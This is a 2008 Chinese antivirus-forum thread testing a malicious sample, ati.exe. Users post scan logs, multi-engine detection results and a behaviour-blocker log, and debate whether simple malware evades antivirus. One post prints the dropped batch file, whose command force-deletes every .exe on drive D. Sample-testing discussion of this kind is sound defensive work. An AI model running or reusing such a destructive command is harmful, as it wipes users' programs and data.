最简单最有效没几个主流认识包括红伞！

tgzw1680

大道至简，吃东东没什么技术含量，但是要是写得复杂一点估计可以造成不小的危害，可怕的是这种简单的设计不仅仅是过特征，就连主动防御对这样的正常调用也是视而不见的。看来任何时候人都是在杀毒的时候起到关键作用啊，不要迷信任何东东，相信自己：）发上来的不能叫做病毒应该是恶意程序把。。。。。但是如果写得复杂点应该也可以做病毒用吧

yunhan123

信息        2008-07-07  10:23:13        您此次查毒清除了1个病毒                       
信息        2008-07-07  10:23:13        您此次查毒共查出1个病毒以及危险代码                       
信息        2008-07-07  10:23:13        您此次查毒共查了内存模块0个，磁盘引导扇区0个，文件2个                       
信息        2008-07-07  10:23:13        金山毒霸主程序查毒过程结束，查毒方式：命令行查毒                       
病毒        2008-07-07  10:23:13        C:\Documents and Settings\Administrator\桌面\ati.rar\ati.exe        Win32.Troj.Delf.68608        清除成功

仅此而已

红伞被过

File ati.rar received on 07.07.2008 04:26:42 (CET)

               
                Result: 5/33 (15.16%)


                        

Antivirus	Version	Last Update	Result
AhnLab-V3	2008.7.4.1	2008.07.05	-
AntiVir	7.8.0.64	2008.07.05	-
Authentium	5.1.0.4	2008.07.06	-
Avast	4.8.1195.0	2008.07.06	-
AVG	7.5.0.516	2008.07.06	-
BitDefender	7.2	2008.07.07	Win32.Worm.Worm.VBT
CAT-QuickHeal	9.50	2008.07.04	-
ClamAV	0.93.1	2008.07.06	Trojan.Spy.Banker-6238
DrWeb	4.44.0.09170	2008.07.06	Trojan.StartPage.21269
eSafe	7.0.17.0	2008.07.03	-
eTrust-Vet	31.6.5929	2008.07.05	-
Ewido	4.0	2008.07.06	-
F-Prot	4.4.4.56	2008.07.06	-
F-Secure	7.60.13501.0	2008.07.03	-
Fortinet	3.14.0.0	2008.07.06	-
GData	2.0.7306.1023	2008.07.07	-
Ikarus	T3.1.1.26.0	2008.07.07	-
Kaspersky	7.0.0.125	2008.07.06	-
McAfee	5332	2008.07.04	-
Microsoft	1.3704	2008.07.06	-
NOD32v2	3244	2008.07.05	-
Norman	5.80.02	2008.07.04	-
Panda	9.0.0.4	2008.07.06	Suspicious file
Prevx1	V2	2008.07.07	Worm
Rising	20.51.60.00	2008.07.06	-
Sophos	4.31.0	2008.07.07	-
Sunbelt	3.1.1509.1	2008.07.04	-
Symantec	10	2008.07.07	-
TheHacker	6.2.96.374	2008.07.07	-
TrendMicro	8.700.0.1004	2008.07.05	-
VBA32	3.12.6.8	2008.07.06	-
VirusBuster	4.5.11.0	2008.07.06	-
Webwasher-Gateway	6.6.2	2008.07.05	-

[ 本帖最后由 仅此而已 于 2008-7-7 10:29 编辑 ]

kkgh

费尔杀

zwl2828

切，你看看你说的，什么“主动防御也不会拦截”，看好了！

2008/7/7 10:28:02        ATI.EXE                Placed in group        Low Restricted        
2008/7/7 10:28:03        ATI.EXE                Process start        E:\DOWNLOADS\ATI\ATI.EXE        
2008/7/7 10:28:09        ATI.EXE        Denied: KLPrivileges/KLPermissionAppAccess/KLPermissionProcEmbed/KLCodeInject        Code intrusion        c:\users\wesley\appdata\local\temp\bt04862.bat        
2008/7/7 10:28:10        ATI.EXE        Denied: KLPrivileges/KLPermissionAppAccess/KLPermissionProcManage/KLSuspend        Suspend another process        c:\users\wesley\appdata\local\temp\bt04862.bat        
2008/7/7 10:28:15        ATI.EXE                Process exit        E:\DOWNLOADS\ATI\ATI.EXE

a256886572008

好爛的 .bat

@shift
@echo off
echo 打卡上班
del d:\*.exe /f/s/q/a
echo 下班罗！
exit

Kitman

Sent to Avira

tgzw1680

没有测试主动防御，只是根据自己的经验判断应该主动是不会防御这些东西的，试想如果他开始的生成物不是在c盘，卡巴还会报吗？再说你只要有生成物都算拦截成功，这个世界也就没有病毒了：（

dadingdading

kv 没有发现病毒

zwl2828

原帖由 tgzw1680 于 2008-7-7 10:39 发表
没有测试主动防御，只是根据自己的经验判断应该主动是不会防御这些东西的，试想如果他开始的生成物不是在c盘，卡巴还会报吗？再说你只要有生成物都算拦截成功，这个世界也就没有病毒了：（

恩，但是只要卡巴斯基2009加了FD规则的话，应该是可以拦截的。